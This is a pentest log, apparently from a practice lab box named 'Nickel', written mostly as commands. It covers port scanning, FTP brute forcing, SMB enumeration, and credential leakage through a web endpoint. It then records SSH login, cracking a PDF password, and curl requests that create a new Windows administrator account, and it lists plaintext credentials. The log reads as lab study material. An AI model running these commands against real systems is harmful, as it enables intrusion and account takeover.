Nickel

๐Ÿงช Pentest Log: {{date:2025-08-04}}

๐Ÿ” Target Information

ip=192.168.123.99

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

FileZilla ftpd 0.9.60 beta

Anonymous Login

ftp anonymous@$ip

Bruteforce Common Credentials

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -6 ftp://$ip

Port 22

Port 80

Port 135

rpcclient -U '' -N $ip

Port 139, 445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 3389

Port 8089

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Port 33333

curl -i http://$ip:33333/list-running-procs -X POST -H 'Content-Length: 0'

found credential

ariah:NowiseSloopTheory139

๐Ÿ’ฃ Exploitation / Foothold

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

ssh ariah@$ip

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Manual:

cd C:\ftp

dir

found

Infrastructure.pdf

the file requires a password

pdf2john Infrastructure.pdf > hash

john hash --wordlist='/home/kali/Documents/oscp/rockyou.txt'

found the password

Infrastructure.pdf:ariah4168

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

curl http://localhost/?net%20user%20tony%20tony123!%20%2Fadd

curl http://localhost/?net%20localgroup%20Administrators%20tony%20%2Fadd

curl http://localhost/?net%20localgroup%20%27Remote%20Desktop%20Users%27%20tony%20%2Fadd